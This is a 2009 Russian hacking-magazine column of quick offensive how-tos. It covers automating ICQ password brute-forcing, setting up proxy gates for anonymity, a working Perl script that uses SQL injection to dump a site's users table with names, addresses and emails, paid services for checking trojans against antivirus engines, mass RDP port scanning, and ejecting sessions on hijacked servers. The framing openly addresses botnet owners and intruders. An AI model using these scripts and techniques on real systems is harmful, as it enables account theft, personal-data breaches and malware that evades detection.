Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 129, СЕНТЯБРЬ 2009 г.

Easy-Hack

Леонид «R0id» Стройков (r0id@mail.ru)
M0r0 (m0r0@inbox.ru)

Задача: Автоматизировать брут асек с использованием .Brutal

Решение

.Brutal является одной из популярнейших софтин для брута асек, посему желание автоматизировать его работу - вполне понятно. Для осуществления задуманного мы воспользуемся утилой Storm 2008 Brutal Edition, которая представляет собой аналог уже известной тебе тулзы Storm 2008 и предназначена для облегчения управления брутом. Из основных особенностей инструмента стоит выделить:

  • Возможность управления .Brutal'ом (например, запуск/остановка брута, cleanup, отображение статистики, etc)
  • Доступ к виндовой консоли на удаленном дедике
  • Отправка валидных пар уин;пасс тебе в асю :)
  • Организация очереди списков для брута
  • Автоматическое обновление проксиков по таймауту
  • Удобная система администрирования
  • Возможность управления брутом с нескольких номеров, с указанием индивидуальных настроек
  • Загрузка удаленных файлов, icq gate (использование бота в качестве гейта), отправка и принятие сообщений и т.д.
  • Возможность использования бота в качестве гейта

Настройка софта и управление брутом не требует особых усилий. Необходимо лишь произвести ряд нехитрых манипуляций:

1. Сливаем утилу с нашего диска.

2. Вбиваем данные уина для бота.

3. Управляем ботом при помощи команд:

  • Команды управления .Brutal'ом:

/stats - отображение статистики
/start - нажать баттон ’start’
/stop - нажать баттон ’stop’
...
/threads - установить количество потоков

  • Команды управления ботом:

/adminlist - отобразить админ-лист
/add UIN[:permissions] - добавить уин в админ-лист
/delete UIN - удалить уин из админ-листа
/pchange UIN:perm_index:permission, /pchange UIN:permissions - изменение прав
...
/settings - отобразить настройки бота

  • Команды управления сурс-листами:

/srclist - отобразить список сурс-листов
/srcadd - добавить сурс-лист
/srcdel - удалить сурс-лист
/gen - сгенерировать новый сурс-лист
/gen+ - генерация нового сурс-листа с чеком строк на дубли

  • Команды управления проксиками/соксами:

/https - сохранить https-прокси лист (ip:port)
/socks4 - сохранить сокс4-лист
/socks5 - сохранить сокс5-лист
/upd [proxy_types] [proxy_update_type] - обновить прокси-лист

Ничего сложного в процессе управления ботом нет. Так что можешь смело автоматизировать брут, избавив себя от рутины :).

Задача: Настроить собственный анонимайзер с автоматической сменой IP-адреса

Решение

Если ты не привык юзать паблик проксики по известным причинам, а платным сервисам не доверяешь - остается лишь один выход: поднять собственный прокси. К счастью, сделать это довольно просто, благо, есть масса готового софта :). Пример тому - HTTP Local Proxy. Именно эту софтину мы и будем использовать. Прога представляет собой анонимайзер, работающий через пхп-гейты. Настроить утилу несложно:

1. Сливаем утилу с нашего диска.

2. Распаковываем архив, в нем три файла: gate.php, host.txt, proxy.exe.

3. Заливаем скрипт gate.php на хост (или несколько хостов).

4. В файл host.txt прописываем полный путь до залитого скрипта gate.php, например:

site.com/gate.php
site2.com/gate.php
site3.com/gate.php

5. Запускаем proxy.exe, по дефолту открывается порт 8080 и загружается список хостов из файла host.txt.

6. Открываем браузер, прописываем хттп-прокси 127.0.0.1 и порт, на котором он запущен (по дефолту - 8080).

Вот и все. Если файл host.txt содержит более одного адреса, то proxy будет автоматически менять IP-адреса. Что нам и требовалось :).

Задача: Слить базу юзеров через sql-инъекцию

Решение

Обнаружив скуль-инъект на каком-нибудь портале, тебе, наверняка, захочется слить оттуда всю базу юзеров. Как ты понимаешь, перебирать сотни, а порой и тысячи записей вручную, используя limit или top - не очень удобно. Поэтому требуется автоматизация процесса. Рассмотрим пример:

1. Допустим, найденный тобой sql-инъект выглядит так:

http://blablabla.com/pages.php?id=
-1+UNION+SELECT+1,2,
concat(char(94),id,char(58),name,char(58),
surname,char(58),city,char(58),address,char(58),
email,char(94)),4,5,6,7,8,9,10,11+from+users+limit+1,1/*

2. Теперь создаем файл grabber.pl, следующего содержания:

#!/usr/bin/perl
print "===================================n";
print "= SQL-injection Grabber =n";
print "===================================n";

use LWP::Simple qw(get);
open(F, '>result.txt');
$z=0;
for ($i=0;$i<=1000;$i++){
$url="http://blablabla.com/pages.php?id=
-1+UNION+SELECT+1,2,
concat(char(94),id,char(58),
name,char(58),surname,char(58),
city,char(58),address,char(58),email,
char(94)),4,5,6,7,8,9,10,11+from+users+limit+$i,1/*";
$cont=get($url);
print F $cont."n";
$z=$z+1;
open(C, '>count.txt');
print C $z;
close C;
}
close F;
open(D, '>done.txt');
print D $z."n";
close D;
#print "===================================n";
#print "= DONE =n";
#print "===================================n";
#print $z;

Обрати внимание на переменную $url, а также на переменную $i - она определяет количество записей в табличке.

3. Запускаем граббер на удаленном хосте и ждем. Стата будет писаться в файл count.txt.

4. После того, как работа граббера закончена - создаем файл parser.pl:

#!/usr/bin/perl
print "===================================n";
print "= SQL-injection Parser =n";
print "===================================n";

open(TT, 'result.txt');
open(F, '>result2.txt');
while ($line = <TT>)
{
$x=index($line, "^");
$z=rindex($line, "^");
if($x>-1 && $z>-1){
$long=$z-$x;
$res=substr($line, ($x+1), ($long-1));
print F $res."n";
$x=-1;
$z=-1;
}
}
print "===================================n";
print "= DONE =n";
print "===================================n";
close TT;
close F;

5. Парсер выберет из мусора все записи, обрамленные символом ^. На выходе ты получишь читабельную базу с данными юзеров. Кстати, учти, что граббер – однопоточный. Крупную базу утянуть им вряд ли удастся, однако никто не мешает тебе приложить усилия и переписать его, добавив пару полезных функций :).

Задача: Проверить exe'шник на палевность различными антивирями

Решение

Если у тебя свой ботнет, или ты просто решил над кем-то поглумиться - проверить ехе-шник троя просто необходимо. Однако десяток антивирей себе не поставишь, да и проверять вручную - дело неблагодарное. Гораздо разумнее воспользоваться автоматическими сервисами по чекингу файлов.

1. Платные сервисы:

2. Бесплатные сервисы:

Описывать бесплатные сервисы я не буду, ибо большинство из них отсылает копии твоих файлов в антивирусные компании для дальнейшего анализа, что не есть гут. Вместо этого мы остановимся на двух крупнейших платных сервисах - avcheck.ru и virtest.com. Первый предлагает следующие тарифы.

Обычная проверка:

  • $1 - 1 проверка
  • $10 - 20 проверок
  • $15 - 40 проверок

Автоматическая проверка:

  • $15 - раз в 48 часов (в течение 30 дней) до 2х файлов + бонус 5 обычных проверок
  • $20 - раз в 24 часа (в течение 30 дней) до 2х файлов + бонус 10 обычных проверок
  • $25 - раз в 24 часа (в течение 30 дней) до 3х файлов + бонус 20 обычных поверок

Список антивирусов довольно широк:

Antivirus Version Result AVG 8.5 - ArcaVir 2009 - Authentium 5.1 - Avast 4.8.1229 - Avira 7.9.1.1 - BitDefender 7.90 - ClamAV 0.95.2 - DrWeb 5.0 - F-Prot 6.0 - F-Secure 8.0 - Kaspersky 8.0.0.506 - McAfee 5711 - NOD32 4342 - Norman 6.01.09 - Panda 9.04 - Sophos 4.44 - Symantec 10.2.

Все, что от тебя потребуется:

  1. Заходим на сайт сервиса - avcheck.ru.
  2. Регистрируемся.
  3. Пополняем баланс аккаунта.
  4. Выбираем режим ручной проверки.
  5. Заливаем файл.
  6. Через несколько секунд смотрим результат проверки по всем антивирусам.

Аналогичным образом работает и virtest.com, основным его отличием является возможность проверки не только exe'шников, но и связок сплойтов. Чем пользоваться - выбирать тебе, анонимность твоего файла в твоих руках :).

Задача: Просканить диапазон на предмет наличия узлов с нужным открытым портом

Решение

99% людей, наверняка, скажут: «Нет ничего проще! Запускаем nmap с ключами -PS<port> -p <port> AA.BB.CC.DD/MM». И будут правы, но только отчасти. Действительно, сеть класса С можно просмотреть и так, но что делать с B и А сетями? Пока nmap будет сканить, сам Иосиф Сталин успеет воскреснуть из небытия, прийти к власти и запретить весь интернет как пагубную с точки зрения морального воздействия на умы индивидуумов среду. Тут нужно что-нибудь простое, быстрое, желательно многопоточное. Как насчет скана в 2500 потоков одновременно? По-моему, для этой задачи в самый раз.

1. Берем софтину под названием dfind (ее можно найти на компакт-диске).
2. Вбиваем команду:

dfind -p 3389 <start_ip> <end_ip>

3. Замеряем скорость скана сетки 88.35.0.0/16 (вбиваем команду «dfind -p 3389 88.35.0.0 88.35.255.255»). Получаем 3 минуты 40 секунд и файлик весом 7 килобайт с результатами работы. Кстати, результаты сохраняются в очень удобной форме в виде <хост>:<открытый порт>. С той же задачей Nmap справился за 29 минут 4 секунды. Конечно, nmap может выдать еще кучу инфы о сервисах, определить ОС и все такое, но на хрена оно нам здесь надо? Кроме того, nmap гораздо медленнее, и после того, как он отработает, тебе еще придется парсить результаты.

Задача: Отключить терминальную сессию пользователя серверной версии Windows средствами RDP

Решение

Если SMB сервисы недоступны, установка доверительных отношений и инвентаризация сессий невозможны. Во многих случаях сервак вообще находится за файром и единственный способ подключиться к нему - воспользоваться портом 3389 и клиентом mstsc. Однако традиционный коннект не проходит, так как вываливается сообщение с ошибкой о превышении количества сессий и соединение закрывается. Значит, надо подключаться к уже установленной сессии. Для этого в клиенте предусмотрен ключ /console, который позволяет удаленно подключиться к сессии локального пользователя, или session 0. Однако стоит отметить, что, начиная с Windows XP SP3, Windows Vista SP1 и Windows Server 2008, клиент mstsc ключа /console уже не имеет. Связано это с тем, что в новых версиях ОС от Microsoft нулевая сессия перестала быть интерактивной и используется только для запуска системных процессов и сервисов. Интерактивные сессии пользователей нумеруются, начиная с единицы. Ничего страшного тут нет, просто вместо ключа /console в таких случаях следует использовать ключ /admin.

1. Подключаемся к существующей сессии:

mstsc /v:<server_address> /console (/admin)

2. Запускаем Terminal Services Manager:

tsadmin

3. Отключаем какую-либо сессию (кроме нулевой :)).
4. Коннектимся к серверу по RDP.

Задача: Отключить терминальную сессию пользователя серверной версии Windows средствами командной строки.

Решение

Уверен, раз ты читаешь ][, то для реализации своих злодейских замыслов нередко прибегаешь к помощи сторонних серверов (в простонародье - дедиков). Иногда сервер выплевывает недружелюбное сообщение «Terminal server has exceeded the maximum number of allowed connections» и исключает возможность дальнейшей работы.

Проблема кроется в отсутствии лицензий терминального доступа, в результате чего винда работает в режиме «Удаленного администрирования» и разрешает только два одновременных сеанса, в том числе и отключенных. Ситуация возникает достаточно часто, например, если админ на сервере не выполняет выход из сессии, а при окончании работы просто закрывает окно удаленного рабочего стола. Принципиально возможно два пути решения.

Первый, и наименее беспалевный - дождаться, пока какая-нибудь из сессий не завершится. Если у тебя много дедов, это вполне приемлемо, в противном случае надо занять активную позицию и выбить одного из пользователей. Как это сделать, когда к серверу даже не приконектиться? Если на удаленном узле открыт порт 445, можно воспользоваться средствами командной строки для отображения текущих сеансов и их отключения.

1. Создаем доверенные отношения с удаленным узлом с использованием «net use»:

net use \<server_address>IPC$ <administrator_password> /user:<administrator_user_name>

2. Инвентаризуем сессии и запоминаем идентификатор сессии, которую следует отключить:

qwinsta /server:<server_address>

3. Отключаем сессию:

logoff <session_id> /server:<server_address>

4. Коннектимся к серверу по RDP.

Содержание
ttfb: 6.0420036315918 ms